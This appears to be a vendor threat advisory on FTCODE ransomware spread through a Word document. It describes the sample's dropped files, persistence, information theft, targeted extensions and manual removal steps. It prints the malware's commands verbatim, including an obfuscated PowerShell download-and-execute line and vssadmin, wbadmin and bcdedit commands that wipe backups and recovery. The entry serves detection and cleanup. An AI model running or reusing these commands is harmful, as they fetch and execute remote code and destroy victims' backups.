Ransom.W97M.BXCODE.THJOCAI

October 04, 2019
 Modified by: Henry Alarcon Jr.
 ALIASES:

RDN/Generic.dx (McAfee); Troj/DocDl-TXK (Sophos)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 REPORTED INFECTION:

  • Threat Type: Ransomware

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet, Dropped by other malware

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It encrypts files with specific file extensions. It drops files as ransom note.

  TECHNICAL DETAILS

File Size:

89,088 bytes

File Type:

DOC

Memory Resident:

Yes

Initial Samples Received Date:

03 Oct 2019

Payload:

Steals information, Drops files, Connects to URLs/IPs

Arrival Details

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Ransomware drops the following files:

  • %User Temp%\AFX50058.tmp ← Current Date
  • %Public%\OracleKit\w00log03.tmp ← GUID
  • {Encrypted File Directory}\READ_ME_NOW.htm ← ransom notes
  • %Public%\Libraries\WindowsIndexingService.vbs ← Executes a powershell command that will send information about the infected machine.

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)

It adds the following processes:

  • "%System%\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -c function a($a){ return [char]$a; };$dutzb=''; 36,97,61,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,83,116,114,105,110,103,40,39,104,116,116,112,58,47,47,104,111,109,101,46,104,111,112,101,100,97,121,98,111,111,107,46,99,111,109,47,63,110,101,101,100,61,57,102,53,98,57,101,101,38,118,105,100,61,100,112,101,99,49,38,52,49,56,56,52,39,41,59,105,101,120,32,36,97,59|%{$idxfj=a($_);$dutzb+=$idxfj};iex $dutzb;
  • "%System%\schtasks.exe" /create /TN WindowsApplicationService /sc DAILY /st 00:00 /f /RI 19 /du 23:59 /TR %System Root%\Users\Public\Libraries\WindowsIndexingService.vbs
  • %System%\cmd.exe /c bcdedit /set ffchvwjhs bootstatuspolicy ignoreallfailures
  • %System%\cmd.exe /c bcdedit /set ffchvwjhs recoveryenabled no
  • %System%\cmd.exe /c wbadmin delete catalog -quiet
  • %System%\cmd.exe /c wbadmin delete systemstatebackup
  • %System%\cmd.exe /c wbadmin delete backup
  • %System%\cmd.exe /c vssadmin delete shadows /all /quiet

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.. %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)

It creates the following folders:

  • %Public%\OracleKit

(Note: %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)

Autostart Technique

This Ransomware drops the following file(s) in the Windows User Startup folder to enable its automatic execution at every system startup:

  • %User Startup%\WindowsApplicationService.lnk

(Note: %User Startup% is the current user's Startup folder, which is usually C:\Windows\Profiles\{user name}\Start Menu\Programs\Startup on Windows 98 and ME, C:\WINNT\Profiles\{user name}\Start Menu\Programs\Startup on Windows NT, C:\Documents and Settings\{User name}\Start Menu\Programs\Startup on Windows 2003(32-bit), XP and 2000(32-bit), or C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit), 10(64-bit).)

Dropping Routine

This Ransomware drops the following files:

  • %Public%\Libraries\thumbcache_64.db ← GUID, dropped by (%Public%\Libraries\WindowsIndexingService.vbs)

(Note: %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)

Download Routine

This Ransomware connects to the following website(s) to download and execute a malicious file:

  • http://home.{BLOCKED}ybook.com/?need=9f5b9ee&vid=dpec1&41884 ← powershell script that will be loaded in memory, performs as loader, downloader and encryption.
  • http://home.{BLOCKED}s.com/?need=6ff4040&vid=dpec1& ← obfuscated VBS script that will execute a powershell command

Information Theft

This Ransomware gathers the following data:

  • Ransomware Version
  • Status
  • Powershell Version
  • Generated Password
  • GUID
  • Machine Name
  • OS version

Stolen Information

This Ransomware sends the gathered information via HTTP POST to the following URL:

  • http://geer.{BLOCKED}m.com/
  • http://connect.{BLOCKED}butmatters.com/

Other Details

This Ransomware sets the attributes of the following file(s) to Hidden and System:

  • %Public%\Libraries\thumbcache_64.db

(Note: %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)

It does the following:

  • Adds the following Scheduled Task:
    • Task Name: WindowsApplicationService
    • Trigger: At 12 AM, after triggered repeat every 13/ 20 minutes
    • Task to be run: %Public%\Libraries\WindowsIndexingService.vbs
  • It won't proceed to its encryption routine and terminate itself if the following condition is met:
    • If the following URL is not accessible:
      • http://connect.{BLOCKED}butmatters.com/
    • The following file is existing on the system:
      • %Public%\OracleKit\w00log03.tmp

Ransomware Routine

This Ransomware encrypts files with the following extensions:

  • .sql
  • .mp4
  • .7z
  • .rar
  • .m4a
  • .wma
  • .avi
  • .wmv
  • .csv
  • .d3dbsp
  • .zip
  • .sie
  • .sum
  • .ibank
  • .t13
  • .t12
  • .qdf
  • .gdb
  • .tax
  • .pkpass
  • .bc6
  • .bc7
  • .bkp
  • .qic
  • .bkf
  • .sidn
  • .sidd
  • .mddata
  • .itl
  • .itdb
  • .icxs
  • .hvpl
  • .hplg
  • .hkdb
  • .mdbackup
  • .syncdb
  • .gho
  • .cas
  • .svg
  • .map
  • .wmo
  • .itm
  • .sb
  • .fos
  • .mov
  • .vdf
  • .ztmp
  • .sis
  • .sid
  • .ncf
  • .menu
  • .layout
  • .dmp
  • .blob
  • .esm
  • .vcf
  • .vtf
  • .dazip
  • .fpk
  • .mlx
  • .kf
  • .iwd
  • .vpk
  • .tor
  • .psk
  • .rim
  • .w3x
  • .fsh
  • .ntl
  • .arch00
  • .lvl
  • .snx
  • .cfr
  • .ff
  • .vpp_pc
  • .lrf
  • .m2
  • .mcmeta
  • .vfs0
  • .mpqge
  • .kdb
  • .db0
  • .dba
  • .rofl
  • .hkx
  • .bar
  • .upk
  • .das
  • .iwi
  • .litemod
  • .asset
  • .forge
  • .ltx
  • .bsa
  • .apk
  • .re4
  • .sav
  • .lbf
  • .slm
  • .bik
  • .epk
  • .rgss3a
  • .pak
  • .big
  • wallet
  • .wotreplay
  • .xxx
  • .desc
  • .py
  • .m3u
  • .flv
  • .js
  • .css
  • .rb
  • .png
  • .jpeg
  • .txt
  • .p7c
  • .p7b
  • .p12
  • .pfx
  • .pem
  • .crt
  • .cer
  • .der
  • .x3f
  • .srw
  • .pef
  • .ptx
  • .r3d
  • .rw2
  • .rwl
  • .raw
  • .raf
  • .orf
  • .nrw
  • .mrwref
  • .mef
  • .erf
  • .kdc
  • .dcr
  • .cr2
  • .crw
  • .bay
  • .sr2
  • .srf
  • .arw
  • .3fr
  • .dng
  • .jpe
  • .jpg
  • .cdr
  • .indd
  • .ai
  • .eps
  • .pdf
  • .pdd
  • .psd
  • .dbf
  • .mdf
  • .wb2
  • .rtf
  • .wpd
  • .dxg
  • .xf
  • .dwg
  • .pst
  • .accdb
  • .mdb
  • .pptm
  • .pptx
  • .ppt
  • .xlk
  • .xlsb
  • .xlsm
  • .xlsx
  • .xls
  • .wps
  • .docm
  • .docx
  • .doc
  • .odb
  • .odc
  • .odm
  • .odp
  • .ods
  • .odt

It appends the following extension to the file name of the encrypted files:

  • {encrypted file}.FTCODE

It drops the following file(s) as ransom note:

  • {Encrypted File Directory}\READ_ME_NOW.htm

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

15.406.02

FIRST VSAPI PATTERN DATE:

03 Oct 2019

VSAPI OPR PATTERN File:

15.407.00

VSAPI OPR PATTERN Date:

04 Oct 2019

Step 1

Trend Micro Predictive Machine Learning detects and blocks malware at the first sign of its existence, before it executes on your system. When enabled, your Trend Micro product detects this malware under the following machine learning name:

    • Downloader.VBA.TRX.XXVBAF01FF005

Step 2

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Restart in Safe Mode

[ Learn More ]

Step 5

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:

  • Task Name: WindowsApplicationService
  • Trigger: At 12 AM, after triggered repeat every 20/ 13 minutes
  • Task to be run: %Public%\Libraries\WindowsIndexingService.vbs

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 6

Search and delete these folders

[ Learn More ]
Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden folders in the search result. %Public%\OracleKit

Step 7

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %User Temp%\AFX50058.tmp
  • %Public%\OracleKit\w00log03.tmp
  • {Encrypted File Directory}\READ_ME_NOW.htm
  • %Public%\Libraries\WindowsIndexingService.vbs
  • %User Startup%\WindowsApplicationService.lnk
  • %Public%\Libraries\thumbcache_64.db

Step 8

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Ransom.W97M.BXCODE.THJOCAI. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.

Step 9

Restore encrypted files from backup.


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